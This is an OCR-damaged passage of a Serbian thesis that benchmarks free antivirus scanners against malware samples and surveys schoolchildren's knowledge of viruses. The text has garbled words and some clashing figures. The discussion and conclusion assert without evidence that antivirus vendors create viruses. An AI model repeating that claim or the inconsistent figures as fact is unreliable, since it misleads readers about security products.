23https://www.gdatasoftware.com/
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Kod G-Data brzog testiranja moze se&inapcija pod imenonQuick ScanU toku testiranja,
korisnik dobija informacije- Sta se testira, vaZWfindows fajlovi, memorija, kao i rootkit, Sto se

moze néi na sledéoj slici (Slika 23).

G Virus check complete. 2 E%

v System areas Checked: 144 Stattime 10/21/201311:45:38 PM
v Memory and startup Detected: 0 Duration: 00:00:39
W Rootkit check Suspicious: 0 Remainin g time:

File/object Category Action Descriptian Directory

Slika 23. G-DATA ANTIVIRUS — testiranje

Brzo testiranje je trajalo ukupno 38 sekundi. Cafmo testiranje se mozedaod opcijomFull
Scan ObavesStava korisnika o svakom koraku toka tegtrgdokle je stigao, koliko vremena
potroSi, da li je pronasao infekciju). G-Data pmgrpotroSi puno vremena, da bi u potpunosti
pregledao réunar, a vreme testiranja traje 2h, 7min i 57 sekuRdred toga, rad ¢anara je

usporen tokom testiranja.

« PANDA? CLOUD ANTIVIRUS

Kod Panda Cloud Antivirus programa brzo testirassgemoze proréa pod sledéim imenom:
Quick ScanTokom testiranja, korisnik dobija samo one infacije o tome koliko je fajlova
program testirao ili ukoliko je pronaSao infekcifa,nam javlja interfejs iz gornjeg desnog ugla,

kao Sto se moze videti na slici 24.

24https://www.gdatasoftware.com/
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Optimized scan finished

The scan has been completed carrectly

Scanned: 22130

i =B

Slika 24. PANDA CLOUD ANTIVIRUS - testiranje

Brzo testiranje trajalo je 4min. i 15 sekundi. Gelpno testiranje se mozedaod imenontull
scan.U tom sli&aju program temeljno testira sve podatke koji dazeana hard disku. Program

Panda sveukupno testira kompjuter 1h 11min és sk

Ne pokazuje vreme testiranja, ali za to mozemoskitirmobilni telefon. Informacije pokazuje

samo u postotcima o tome gde je program stao Seatgsm r&unara.

4.4. INFEKCIJA KOMPJUTERA

Na bi inficirali kompjuter, potrebno je pripremjgdan CD, na koji smo narezali tri fajla koja
sadrze virus. CD sadrzi MACRO.Zih 0S2.zig® i WORMS.zig’ fajl. Na svakom se moze
pron&i vise virusa. Na Macro-u se ukupno mozéiri®0 virusa, na OS2-u 2 i na Wormsfolder-
u 75. Pored toga, koristimo i dva USB-a, na kojseavrSi pretraga virusa. Na jednom USB-u se

nalazi 3 virusa, a na drugom Sest.
Tok testiranja se deSava u slédekoracima:

- skeniranje USB-a ( prilikom prepoznavanja USBee#ttuju se virusi, a u toku skeniranja,

gleda se koliko je virusa pronasao.)

- pokrete i skenira zarazene zip fajlove. Kasnije, svalddo se prvo selektuje, pokiei kasnije

posmatra da li je virus detektovan.

- kao poslednji korak, sumira se krajnji rezultaaheli.

25http://biohaza rd.xz.cz/
26http://biohazard.xz.cz/
27http://biohaza rd.xz.cz/
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* AVIRA OTKRIVANJE VIRUSA
Na prvom USB-u se ukupno moze¢nd virusa, od kojih je Avira prepoznao dva. Virksiji se

mogu n&i na USB-u, mogli su se divi prilikom skeniranja USB-a. Prodani su sledé& virusi:
- WORM/Conficker.Autorun.Gen
- WORM/Conficker.B.3

Na drugom USB-u nije @uen nijedan virus (na getku se moglo réa 6 virusa na njemu).
Prilikom skeniranja .zip fajlova, virusi se nisu cup prilikom prikazivanja, vé prilikom
otpakivanja fajlova. U sledej tabeli (Tabela 6) se moze videti koliko je viausronasao Avira

Free Antivirus:

Tabela 6. Broj otkrivenih virusa sa Avira Free AV programom

IME .ZIP-A UKUPNO VIRUSA PRONA DENI VIRUS
Macro 160 4
0S2 2 2
Worms 75 4

« AVAST OTKRIVANJE VIRUSA

Na prvom USB-u mdu virusima je prepoznato dva virusa. Prilikom prkanja USB-a,
prepoznati su virusi, a to su sléde

o VBS: Mail.Worm — gen
o0 Win32.Rootkit-gen

Na drugom USB-u nije W@n nijedan virus (na getku se moglo a6 virusa na njemu).

Na .zip fajlovima su se virusi mogli titi pokazivanjem na njih, a na sledg tabeli (Tabela 7)

se moze videti koliko je virusa prepoznao:

Tabela 7. Broj otkrivenih virusa sa AVAST AV programom

IME .ZIP-A UKUPNO VIRUSA PRONA DENI VIRUS
Macro 160 2
0S2 2 2
Worms 75 2
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e AVG OTKRIVANJE VIRUSA
Na prvom USB-u od 3 virusa je prepoznato samo jedhma je odmah detektovao. Prepoznao

ga je pod imenom:
o Worm/Downadup

Na drugom USB-u nije pronasao nijednu infekcijurkag ¢injenici da se na njemu nalaze 6

virusa.

U slwaju .zip fajlova, detektuje infekcije iako nisu kakane, ali je od svih paketa prepoznao

samo jedan. U sledej tabeli (Tabela 8) se mozedaezultat testiranja:

Tabela 8. Broj otkrivenih virusa sa AVG AV programom

IME .ZIP-A UKUPNO VIRUSA PRONA DENI VIRUS
Macro 160 1
0S2 2 1
Worms 75 1

 F-SECURE OTKRIVANJE VIRUSA
F-Secure Antivirus je na prvom USB-u pronasSao lsar Prilikom prepoznavanja USB-a je

odmah obavestio da se na USB-u nalaze zarazeowitdpetektovani virusi:
o0 Gen:Trojan.HeurAuto

Na drugom USB-u je prodano ukupno 1 virus::
0 Autorun.inf

.zip fajlove je prepoznao samo onda ako sadrzes@ir@ako na njih ukazemo. U paket fajlovima

nije nijedan virus detektovan. U slédgtabeli (Tabela 9) se moze videti rezultat testa:
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Tabela 9. Broj otkrivenih virusa sa F-Secure AV programom

IME .ZIP-A UKUPNO VIRUSA PRONA DENI VIRUS
Macro 160 1
0S2 2 1
Worms 75 1

* G-DATA OTKRIVANJE VIRUSA
G-data Antivirus je na prvom USB-u pronaSao 3 \ardrilikom prepoznavanja USB-a je odmah

obavestio da se na USB-u nalaze zarazeni fajletelovani virusi:

o0 Trojan. Autorun.AET
o0 Gen:Trojan.Heur.AutolT.4

o0 Win32.Worm.Downadup.Gen
Na drugom USB-u je prodano ukupno 6 virusa, od kojih su detektovani:

o Trojan.GenericKDZ.18005

o Trojan.GenericKkDZ.18069

o Trojan.GenericKkDZ.18061

o Trojan.GenericKkDZ.18074

o Trojan.GenericKDZ.18025

0 Autorun

.zip fajlove je prepoznao samo onda ako sadrzeirako na njih ukazemo. U paket fajlovima

nije nijedan virus detektovan. U slédgtabeli (Tabela 10) se moZe videti rezultat tasia:

Tabela 10. Broj otkrivenih virusa sa G-DATA AV programom

IME .ZIP-A UKUPNO VIRUSA PRONA DENI VIRUS
Macro 160 1
0S2 2 1
Worms 75 1
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« PANDA CLUDE OTKRIVANJE VIRUSA
Na prvom USB-u od 3 virusa je prepoznato samo Wirase je detektovao prilikom pokretanja.

NaSao je slede viruse:

o Tr/OCJ.A
o0 Win32/Conficker.C.Worm

Na drugom USB-u od 6 virusa je pronaSao 6. Prepbgagod sled@m imenima:

Trj/IC.A (ebbsl ketté darabot észlelet)
W32/P2PWorm.AK.Worm
W32/Conficker.C.Worm

2 prijavljena virusa, ali ih nije znao identifikavasamo prijaviti da sadrzi nepoznati virus

o O o o

Kod .zip fajlova, Panda Cloude je postigao izremace dobre rezultate. U zapakovanim
fajlovima su svi virusi detektovani, ali samo oridala je bio prikazan pregled fajlova. Rezultat

pretrage se moze videti u slédgtabeli (Tabela 11):

Tabela 11. Broj otkrivenih virusa sa Panda Cloud AV programom

IME .ZIP-A UKUPNO VIRUSA PRONA DENI VIRUS
Macro 160 160
0S2 2 2
Worms 75 75

4.5. EVALUACIJA TESTIRANJA

Test je dizajniran da se dobije uvid u funkcionjsamtivirus programa. Prvu fazu testiradijai
vreme testiranja. S obzirom da je za korisnika wakaliko se vremena utroSi na testiranje, u

mnogim sl¢ajevima se usporava funkcionisanje kompjutera.

Kod svakog programa prvo uzimamo u obzir kokkotaino vremena trajati brzo testiranje. Pod

brzim testiranjem shvatamo testiranje onih fajl&eg su vazni za funkcionalnost kompjutera. U
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ovakvom slgaju, testira se sadrzaj Windows foldera, memorijratraga rootkit programa.

Rezultati testiranja se mogu videti u tabeli (TakER).

Tabela 12. Rezultati brzog testa

AVIRA AVAST AVG F-SECURE G-DATA PANDA

Quick 0:27 5:39 2:05 4:16 0:38 4:15
Scan

Sa upordenim rezultatima, mozemo utvrditi da najmanje vreandilo potrebno Avira Free

Antivirus programu, dok je najviSe vremena potro&iast Free Antivirus.

Tokom celokupnog testiranja, program u potpundstneljno pregleda celokupne podatke koji
se nalaze na hard disku. Za testiranje koristipedan izlazni hard disk pun podataka. Cilj je bio
da pratimo koji program za koliko vremena preglédad disk, a postignuti rezultati se mogu
videti u tabeli (Tabela 13).

Tabela 13. Rezultati celokupnog testa

AVIRA AVAST AVG F-SECURE G-DATA PANDA

Full Scan 1:07:08 0:49:53 1:05:45 0:24:14 2:07:59 1:11:37

Sa dobijenim rezultatima, mozemo utvrditi da je @ypodataka F-Secure Antivirus program
pregledao, dok se kao najsporiji pokazao G-Datavikos. Kod G-Data programa se smatra
loSim rezultatom to Sto se sa ovim programom mgglmetiti usporavanje kompjutera u toku
testiranja.

Pored testiranja posmatramo i kako nam programapgjki duzinu vremena testiranja. Ovo se
smatra vaznim jer u mnogim sghjevima korisnici zele znati kolikée se vremena potrositi, npr.
da znaju kada mogu ukljiti kompjuter. 1z sledée tabele (Tabela 14) mozemo videti, na koji

n&in svaki program meri tok testiranja.
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Tabela 14. Uporedna analiza merenja toka testiranaja AV programa

AVIRA AVAST AVG F-SECURE

u procentima

vremenski
(proteklo + +
vreme)
vremenski
(preostalo
vreme)

Zanimljivo je da priblizno vreme testiranja sanexlgn program pokazuje, a to je G-Data
Antivirus. Drugi programi u procentima pokazuju ismicima stanje testiranja. Kod F-secure
programa se nijedan &a ne upotrebljava, dok se interfejs sa koracima@eno&i u desnom
uglu. Oni ispisuju tok testiranja i ako je sa timr&cima zavrsSeno, program ih tipuje. Ovo je u
svakom smislu neshvatljivéjme je, npr. trazenje virusa trajalo 36 minutajlo e neprecizno
kadce se zavrsiti ovaj korak.

0 Pretraga virusa

Otkrivanje virusa se sastoji iz vise&aka. U toku testiranja koristili smo dva USB-adga CD.
Na prvom USB-u se ukupno moglodn& virusa, a na drugom USB-u 6. Na CD-u se modi ha
3 zapakovana fajla, koji sadrze viruse. U macrtufapa 160, OS2-u 2, i u worms fajlu 75

virusa.
» Testiranje prvog USB-a:

Tokom testiranja, G-Data je sam pronaSao sve vidstli programi su detektovali dva ili jedan
virus. U sledéoj tabeli (Tabela 15) se mogu videti rezultati kudestiranja:

Tabela 15. Testiranje prvog USB-a

SVi virusi Avira Avast AVG F-secure Panda

USB 1. 3 2 2 1 1
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* Testiranje drugog USB-a:

Na drugom USB-u se ukupno nalazi 6 virusa. Tokostirenja, dva antivirus programa su

detektovala, a 6 virusa, kao i tri programa kogwinasli nijedan virus na USB-u. Rezultat

testiranja se moze videti u slédg¢tabeli (Tabela 16):

Tabela 16. Testiranje drugog USB-a

Svi virusi

Avira

Avast

AVG

F-secure

USB 2.

Interesantno je, pod kojim imenom antivirusi prezal viruse. U sledej tabeli (Tabela 17) se

moze videti pod kojim imenima su praieni virusi.

Tabela 17. Uporedni prikaz imena pod kojim su AV programi pronasli viruse

Avira Avast AVG F-secure G-Data Panda
\I:\é(r)ixcl)(r:uor?f(lzce VBS: ) ) Trojan.Autorun.| W32.Conficker.
' n ' MailWorm-gen AET C.worm

Worm/Conficke ) Worm/Downad ) Win32.Worm.D )
r.B.3 up ownadup.Gen
. . Gen:Trojan.Heu . ;
Win32.Rootkit- Gen: Trojan. . .
i gen i rAuto Heur.AutolT TjOC.A
- - - - - nepoznat
- - - - - nepoznat
- - - - Trj/CLA
- - - - - Trj/CLA
i i i i i W32/P2PWorm
AK.worm
Autorun.inf W32/Conficker.
- - - Autorun
C.worm
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» Testiranje .zip fajlova

Medu tri zapakovana fajla, svaki sadrzi zarazene V¥ajldJ makro.zip fajlu se nalazi 160 virusa,
0S2.zipu 2, i u Worms.zip fajlu 74. U slédg tabeli (Tabela 18) se moze videti koji je od

testiranih virusa kakav rezultat postigao.

Tabela 18. Testiranje .zip fajlova

SVi Virusi Avira Avast AVG F-secure G-Data
makro.zip 160 4 2 1 1 1
0S2.zip 2 2 2 1 1 1
Worms.zip 75 4 6 1 1 1

Iz tabele 18 se moze videti, da je najbolji rezuttakazao Panda Cloude, jer je detektovao sve

viruse koji su se nalazili u zapakovanim fajlovima.
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4.6. 1ZBOR ,NAJBOLJEG” ANTIVIRUS PROGRAMA

Nakon pregleda rezultata sa testova, utvrdili smgedesko objaviti koji je program najbolji. U
razlicitim fazama testova razltih programa se mogu utvrditi kao najbolji. Raznmmob

postignute rezultate:
o Na osnovu testiranja:

U toku testiranja, potpuno su druégja rezultate postigli programi kod brzog i spottegtiranja.

Na osnovu proseka, postignuti su sl@dezultati:

F-SECURE

AVAST FREE ANTIVIRUS
AVG FREE ANTIVIRUS
PANDA CLOUDE

AVIRA FREE ANITIVIRUS
G-DATA ANTIVIRUS

o a0k wh P

o0 Na osnovu pretrage virusa:

Na osnovu ugavanja virusa, odnosno, sa kojom efikasnosu programi udli viruse. Prikazani

su prema sledem rasporedu:

1. PANDA CLOUDE

2. G-DATA ANTIVIRUS

3. AVIRA FREE ANTIVIRUS
4. AVAST FREE ANTIVIRUS
5. AVG FREE ANTIVIRUS
6. F-SECURE ANTIVIRUS

Uz pom@ dva rezultata osnujemo listu od Sest testiramdgg@ama. Rangirani su od 1. do 6.
(prvo mesto 6 bodova, drugo 5 bodova, i tako dailjea osnovu proseka dobijamo ranglistu. U
slutaju iste vrednosti, na osnovu druge liste (trazemjesa) dobijamo rang, jer je ovo vazniji

rezultat. Rezultat se dobija na slédeatin:
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PANDA CLOUDE

AVAST FREE ANTIVIRUS
F-SECURE ANTIVIRUS
AVIRA FREE ANTIVIRUS
AVG FREE ANTIVIRUS
G-DATA ANTIVIRUS

o gk~ w NP

Na osnovu ovoga, mozemo zakifiy da je prema ovim testovima prvo mesto osvdjianda

Cloude, drugo Avast Free Antivirus, i ¢e2mesto F-Secure Antivrus (slika 25).

PANDA CLOUDE

AVAST FREE ANTIVIRUS

F-SECURE ANTIVIRUS

Slika 25. Najbolji AV programi
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5. STUDIJA SLUCAJA: Rezultati istraZivanja upotrebe Interneta

5.1. UPOTREBA INTERNETA SAVREMENE OMLADINE

Posto danas u svetu dec¢me veinske korisnike Interneta, prema istrazivanju EUd<i
Onliné®(Bence S, 2012) 93% dece starosti 9-16 god smatmksvnim korisnikom Interneta.
Smatrali smo bitnim da izvrSimo istrazivanje kopacsi Winila u osnovnoj Skoli MoSe Pijade sa
dacima starosti 11-14 godina. Cilj je bio da saznambko su deca upoznata sa pojmom
kompjuterskih virusa. Da li su sposobni da preppeirg#ekciju, odnosno, koji su programi koje

poznaju i da li ih upotrebljavaju radi zastite arlga. Trebali su da odgovore na skadpitanje:

1. Da li posedujes éanar?

2.Da li koristi$ Internet?

3.Sta su réunarski virusi?

4. Dali je tvoj r&unar bio zarazen sa virusom?
5. Kako si primetio/la?

6.0 kakvim antivirusnim programimadaio/la?

7.Koji antivirusni program koristis?

« DA LI POSEDUJES RACUNAR?
Upotreba Interneta kod omladine je sve rasprordja. Prema istraZivanju EU KIB%(Bence
S, 2012) rden 2010. god. ustanovljeno je da, deca u prosekli3dgodine koriste zajediki
racunar sa roditeljima, dok od 14. godine posedujwst@mi r&unar ili zajedniki, racunar samo

za decu (tabela 19).

Tabela 19. Da li posedujes racunar 1

DA 56
NE 4

Od mojih &enika skoro svako posedujecumar, Sto je &ti znak da véina domadinstva

poseduje barem jedanctmar.

*® Bence S. (2012), Dece | racunarske mreze, Bp, http://www.osztalyfonok.hu/cikk.php?id=1028
* BenceS. (2012), Dece | racunarske mreze, Bp, http://www.osztalyfonok.hu/cikk.php?id=1028
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« DA LIKORISTIS INTERNET?
Korisnici Interneta su uglavnom deca, prema jecitogliji 93% dece uzrasta od 9-16 godina su
aktivni korisnici Interneta. Veliki broj dece, Imteet koristi da bi pom&u njega uradila donda
zadatak, pripremila razne radove,... Ipak velikjtorisnika, Internet koriste radi zabave, igraju
igre, sluSaju muziku, preuzimaju filmove. Velikuwogl imaju i socijalne mreze, posto preko njih

stupaju u kontakt sa svojim prijateljima, odnostwasaju nova poznanstva (tabela 20).

Tabela 20. Da li koristis Internet

DA 56
NE 4
Anketiranidaci su ovieinjenicu i potvrdili. V&ina daka, &enici osnovne Skole u Blau, starosti

5-8 razreda, koristi Internet. Nekolicina njih nespduje réunar, ali se i oni pond@ mobilnih

telefona, svakodnevno konektuju na svetsku mrezu.

« STA SU RACUNARSKI VIRUSI?

Prema istraZivanju dége bolnice C.S Motl 81% dece starosti 9-17 godina, koriste Internet
sasvim slobodno, bez ikakvog roditeljskog nadz@neo je Stetno iz viSe razloga, posto Internet
skriva razne opasnosti. Deca, pomenute starostigjuejos dovoljno iskustva da bi prepoznali
razliku izmelu dobrog i loSeg. ViSe psihologa deli miSljenje,d#gca, nisu spremna da bi primili
informacije koje im Internet sa lakom ¢ini dostupnim, icesto decu Sokira ono Sto pitaju,
odnosno vide. Deca ¥mom bez razmi$ljanja preuzimaju podatke sa Intarn@esto im je
pokret& radoznalost, kliku na privigne reklame, preko kojilak mogu da preuzmu zarazeni

fajl, virus. Sa ovim pristupom, svojdanar, kao i podatke na njemu, izlazu opasnoste(taBl).

Tabela 21. Sta su kompjuterski virusi

Programi 40%

Ne znam 32%
Igra 27%
Ostalo 1%

30 ¢.s Mott Hospital, Michigan, 2009,http://www.stop.hu/eletmod/a-szulok-rettegnek-tole-de-nem-
elegge/571264/#null
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Jedan glavni problem je Stodmea decetak i ne poznaje pojamdanarskih virusa. Deo ispitanih
daka, vé je culo o kompjuterskim virusima, i prepoznali su, dekempjuterski virusi programi,
ali mnogi su igre smatrali St&gioama. Smatramo, da se ova problematika, urgentra nesiti.
Posto deca veoma rano¢pgu da koriste r&unar, mi bismo u nizim razredima, Sto je ranije
moglee, pdela odrzavatéasove informatike, najviSe paznje bismo posvefibteebi Interneta, i
zastiti r&unara. Takde i roditelji na razliite na&ine mogu zastiti svoje dete od opasnosti
Interneta. Postoje raziti programi koji poseduju zastitu za decu, Stocrda deca mogu da
pristupe samo stranicama koje su prethodno roditelpbrili. Nazalost u danasSnje vreme,
roditelji imaju manji nivo znanja o upotrebic¢tmara , nego sama deca. Verovatno se ovom
razlogu moze pripisati da roditelji neznaju da ita&voju decu od opasnosti Interneta. Sto je
ohrabrujée posto danasnja deca, imaju mnogéevieformatéko predznanje, i time kao roditelj,

kvalitetnije ¢e zastiti svoju decu.

« DA LI JE TVOJ RA CUNAR BIO ZARAZEN SA VIRUSOM, | KAKO SI
PRIMETIO/LA?

Po nasem misljenju, ko posedujéunar, i svakodnevno ga koristi, pre ili kasnijenpeiice ako
mu je kompjuter zaraZen virusor@ak i najjednostavniji virus zauzima prostor u meifor
prema tome kao prvi simptom, po kojem mozemo ustéinda nam je kompjuter zarazen, je da
¢e se sporije pokretati, i d@ mu potrebno viSe vremena za izvrSavanje komaRdstoje virusi,
zbog kojih nam "nestaju” podaci sauaara, ili se modifikuju, tako da postajéigiedno da
mimo nasih komandi joS se neSto izvrSava /aimaru. Zanimalo nas je, da deca koja koriste
ratunar, na koji n&n dolaze do zakligka da im je kompjuter zarazen? Dobili smo zanimeljiv
neaekivane odgovore. Veliki broj ispitanih (40%) jel@l@dgovor, da ih je antivirusni program
obavestio o tome da im je kompjuter zarazen. Susmab se i sa odgovorima, da im se Internet,
odnosno rad kompjutera usporio. Ovo su sasvim irealfekivani odgovori, 5to zada su deca
primetila, da r&unar ne funkcioniSe kao ranije. Dobili smo i odgm@vdoji su me iznenadili
"monitor n€e da se upali”, viSdaka je dalo ovaj odgovor (14%). | iz ovog se vidi wisu
n&aisto sa osnovnim principima radauaara. Neznaju da kompjuterski virus ne moze diekt
da utte na rad monitor, i da je verovatno St@ta brisala neki fajl potreban za pokretanje, i

videvsi crni monitor deca su zakijla da on née da se upali.
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« KAKVIM ANTIVIRUS PROGRAMIMA SI  CUO/LA?
Sa Sirenjem Interneta nisu se samo virusi rasnoiitrmnogobrojni antivirusni programi su se
takode pojavili na trziStu. U danasSnje vreme se moze waliki broj softvera. Zanimalo nas je,
da od rasprostranjenijih antivirusnih programaaksyi deci poznata. Od navedenih su mogli da
izaberu: Avast, Avira, Nod32, Panda, odnosno meglijoS da odaberu "ostalo”, gde su sami

mogli da navedu program o komedli ali nije bio naveden (tabela 22).

Tabela 22. Kakvim antivirus programima si ¢uo/la

Avast 34%
Avira 27%

Nod32 11%
Pandra 16%
Ostalo 12%

Analizirajwéi podatke dosli smo do zakfka da je najv@ broj ispitanih cuo o Avast
antivirusnom programu. Ovo nije ngxkivano posto je njegova besplatna verzija jedna od
najpouzdanijin méu antivirusima za koje ne treba platiti. Osim zaastvveliki broj jec¢uo i za
Aviru, kao i za Pandu. Imali su mognost da sami navedu program Kkoji nije bio doe

ponuienim odgovorima, tu su kao odgovor dali AVG.

« KOJI ANTIVIRUS PROGRAM KORISTIS?
Na jednom r&unaru obino ima instalirano mnosStvo programa&iesto korisnici nisu ni svesni
koje programe poseduju. Smatrali smo bitnim da gwsto ovo pitanje, pomio kojeg smo
mogli daéi do zakljuetka, da li deca znaju koji antivirusni program imajpstaliran na ré&unaru
(tabela 23).

Tabela 23. Koji antivirus program koristis

Avast 34%
Avira 13%
Nod32 7%
Pandra 16%
Ostalo 10%
Ne znam 20%
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Veliki broj ispitanih, ¢ak 80% njih mi je dalo potvrdni odgovor, poéuokojih smo mogli
zakljwiti da su upoznati sa instaliranim programom. ltildadgovora takade proizilazi da veliki
broj korisnika koristi Avast antivirusni program,zatim Panda, Avira i NOD32. Kao magu
odgovor imali su i stavku Ostalo, gde su mogli apiprograme koji nisu navedeni, ali ih koriste,

i tu su navedeni AVG i Norton antivirusni programi.

5.2. ANALIZA ISTRAZIVA CKIH NALAZA

Nakon pregleda rezultata, mozemo zaitjuda deca pristup Internetu vide u zabavi | @nja, |
nisu svesna koliko je istrazivanje u virtuelnom tavepasno. Svega 40%enika zna de su
racunarski virusi programi. Dok su ostala deca smatidd su virusi neka vrste igre ili su
jednostavno ozridla odgovor,ne znamNisu svesna kada im jectmar zarazen. Veliki procenat
daka smatra dée virus unistiti monitor, jer je veliki procenatenika odgovorilo da su infekciju
uacili u formi da im se monitor ,nije ukljtio”. 1z ove r&enice mozemo zakliti da deca ne
znaju osnove funkcionisanjacimara. Veliki procenat ispitanika jgio da postoje antivirusni
programi, a koji od njih imaju na sopstvenomuaru je preciziralo 80%cenika. Pretpostavlja
se da roditelji odrzavaju ¢anare, dok ih deca koriste radi zabave.

Smatramo, da lek za ovaj problem ipak postoji, elakioglo bi se na&asovima informatike
posvetiti viSe paznje o izvoru infekcije preko Imteta i prikazati néne kako se mogu zastititi od
ovih Stet@ina. Svetsku mrezu deca koristi iz dana u dan,mak osnovnog znanja lako mogu i

sami da odrZavaju svojecunare.
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6. DISKUSIJA REZULTATA ISTRAZIVANJA

Pojava personalnih ¢anara se Sirila paralelno sa korisnicima Intern&ta. osnovu jednog
istrazivanja iz 2001., u procentima se vidi kolttoma&instva raspolaze personalnintuaarom.

Dijagram na slici 26 pokazuje Sirenj€uaara od 1992. Moze serela danas, u svakom

Pojava personalnih ra&unara od 1992.
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dom&instvu postoji bar jedan ¢anar u svakom dondastvu. Internet zapravo proSirio 2004.
godine. Uz pomé Interneta, korisnici mogu da skgu administrativne poslove, uglgu
bankovne réune, a pored toga, mogu dobiti mnoge informacgesamo nekoliko sekundi.
Korisnici nisu upoznati samo sa pozitivhim stranaimterneta, vé i sa Stetnim Internet
sajtovima. Jedna od r@&ih negativnih strana Interneta su virusi. Kompjskewirus je jedan
mali programgiji je cilj da oSteti korisnikov kompjuter, ili dpokupi informacije sa zarazenog
kompjutera. Sirenje kompjuterskih virusa poraslaijdirektnoj srazmeri sa Sirenjem Interneta.
Naravno, virusi su postojali i pre Interneta, izateali rezim rada svojim parazitiranjem. Mogli su
se Siriti samo preko flopija. Virusi se, kao i wski virusi, mogu podeliti u nekoliko grupa.
Grupisanje njihovog ponaSanja vrSimo na osnovu diamisanja. Naravno, zadatak virusa
odreduje njegov kreator. Ali, ko su oni koji stvarajuwse i zaSto? Za stvaranje virusa danas nije
potrebno mnogo znanja, jer se na Internetu mog vide manjih programa, uZju poma
svako moze stvoriti virus. Prave, ozbiljnije virukeeira viSe strénih programera, pisanih u

Assembly-ju, C++ programskom jeziku ili u VB Scup®Postoji viSe teorija o tome kako nastaju.
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U prvu grupu spadaju hakeri, koji kreiraju virugekioristi, da bi doSli do vaznih podataka ili
bankovnih rauna koji se nalaze na aganaru. Druga grupwine programeri kojima je cil]
skratanje paznje na sebe. Glavni zadatak im jetwdaestakve programe, sa kojima bi na sebe
skrenuli svetsku paznju. Tokom proteklih godingapm se zn&ajan broj virusa koji je uspeo da

do tada neunistive, vode kompanije zaledi i unisti.

U treCu grupu spadaju kreatori antivirus programa. Pajavausa, na trzistu se pojavilo i mnogo
antivirus programa, koji su korisnicima d@beali zastitu i bezbednost. Da bi se ovi programi
odrzali na trziStu, uvek su potrebni novi viruSiziSna konkurencija podrzava samo ovaj
princip, jer je za virus najbolja reklama da jeaajivirus prvi koji pruza zastitu protiv najnowvgje
virusa i samo je on taj koji moze najbrze i naja$ikije stvoriti zastitu protiv virusa. Prétevu

teoriju, moze se zaklfiti da ¢e virusi uvek postojati, jer bez njih ne bi poslicgativirusi.

Na trziStu se mogu damnogi antivirus programi. Subjektivno je procekibji je najbolji. Da bi
program odkno funkcionisao, moraju mnogi uslovi biti ispunjenVazno je kakvim
karakteristikama raspolaze kompjuter (memorija,raf@ni sistem, itd.) Na korisniku je da
odlwi da li ¢e koristiti besplatnu verziju antivirusa de da ga kupi. Danas, svaki program ima
svoju besplatnu verziju, dok se kupovni programigmreuzeti sa Interneta, gde postoji
besplatna tridesetodnevna probna verzija. Daklekargsniku je da odléi koji mu program
najbolje odgovara. Kod korisnika je uvek pitanjelide bolja verzija koja se pta. Mnogi kazu
da jeste. U ovom radu su izvrstani programi kojeskaci mogu besplatno nabaviti. Njihovim
koris&¢enjem pokuSali smo stvoriti sliku o tome kakvi sapravo besplatni programi. Tokom
koris&enja programa, golim okom smo mogli videti razlik(iod besplatnih verzija s&esto
pojavljuju reklame, koje nam nude da jednim klik&opimo verziju programa. Pod funkcijama-
zastita od virusa, se moglach&od svakog programa. Nakon procene, mozenoda besplatna

i kupovna verzija svakako obezhgu zasStitu. Ako ni kupovna verzija nema protivetioslwaju

nove infekcije, onda je &anar u svakom stiaju izlozen infekcijama.

Antivirusi pruzaju zastitu iz oddene baze podataka. Uz poirtmaze podataka davaju viruse.
U slwaju novog virusa, ako baza podataka ne reaguje lodkampjuter je izlozen infekciji, jer
program nije prepoznao infekciju. Za eliminisanpoga nedostatka osmisljena je heutlsi

zastita, koju sada poseduje svaki antivirus. Glaatatak ove zastite je da prati raduraara.
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Ako se neSto sumnjivo deSava, pregledava svaki korak i obaveStava ukoliko toviruse.
Ova zastita pruza 70% zastite ucglu infekcije. Naravno, ovaj #a zaStite ima i loSe osobine,
jer se moze desiti da Salje laznu uzbunuenbat izveStaja se moze pratiti na Internetu, na
sled€oj stranici:

Prilikom izbora programa, korisni¢iesto uzimaju u obzir njegovo katg&nje i transparentnost.
Vazno je da je program jednostavan i transparedeaan od vaznih faktora predstavlja kako ih
program ditava. Na kompjuterima se nalaze razni prograngrice, koji pored rada antivirusa
usporavaju rad tainara. Pretpostavlja se da se ovo deSava zbog Stogantivirus obavlja
nevidljiv posao, kao Sto mu&i program obezhiije muziku, igrice zabavu, itd. Pre instalacije
programa, potrebno je saznati da li isti ima odgajai interfejs. Drugu karakteristiku programa
predstavlja vreme skeniranjacumara. Postoji viSe tipova skeniranja. Quick Saamproglasen

kao najlosiji, i kod FullScan potpunog skeniranigp se vremena potroSi, tako da ga korisnici
bas i ne primenjuju.

Prilikom testiranja, posmatra se viSe osobina,3tage skeniranje kompjutera, davanje virusa.
Testovi pokazuju da konkretno nijednog virusa ngemnao proglasiti kao najboljeg. Kod svakog
testiranja je drugi program postigao ¢dh rezultat. Kroz ovaj rad smo poémoizraunavanja
proseka odredili koji od testiranih programa zawiprvo mesto. Ovi rezultati pokazuju da
nijedan program ne moze pruziti stopostotnu zagetusvaki program sadrzi manje nedostatke.
Na osnovu iskustva, mozemo ustanoviticgéaantivirusi uvek biti potrebni, jer nijedan ne raoz

pruziti stopostotnu zastitu, dak novi virusi¢e uvek postojati.
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7. ZAKLJU CAK

Kompjuterski virusi su mali programi koji su sewadjem zivotu pojavili. Kompjuterske viruse,
isto kao i bioloSke viruse mozemo svrstati u kdidi grupe. Podeljeni su prema funkciji koje su
im dodeljene. U proSlosti smo imali magosti da opazimo kako su se virusi stvorili i keje
Stete koje su naneli korisnicima. Zadatak koji sitteba da ispuni, naravno, zadaje sam kreator
virusa, ko su kreatori i Sta su inthé ciljevi zavisi od njihovim motiva. Delimo ih uitosnovne
grupe. U prvu grupu svrstavamo osobe koje krevajuse da bi za njih prikupljali¢ne podatke
koje mogu zloupotrebiti i tako ostvariti materijalmobit. Drugoj grupi nije bitna materijalna
dobit, oni svojim kreacijama, osnovno virusima, kdpimaju sopstvenu popularizaciju i samim
tim priznanje javnosti njihovom unie, i sposobnadi obaranja i blokiranja sistema koji su do
tad smatrani nedodirljivim. Kao &#em i ujedno najbitnijom grupom smatramo same sofke
kuce koje se bave izradom antivirusnih softvera, pgStsasvim logino da je sama firma koja
nam nudi potpunu zastitu, ujedno i kreator virugasto? To je jednostavno, ako nema virusa,
nema ni potrebe za zastitu od njih Sto bi dovelofidansijske propasti onih koji se bave
prodajom antivirusnih programa. | ko bi mogao btuzereSenje na problem od onih koji su ga
sami i kreirali. Tako da slobodno mozemo da izjavidace virusi i u bliskoj budénosti stvarati

probleme.

Jedan od ciljeva ovog rada je bio da prikazemdinnaada virusa, i taj ren damo uvid
korisnicima da Sta je potrebo virusu da bi opsthmkcionisao. To smatramo bitnim jer je sena
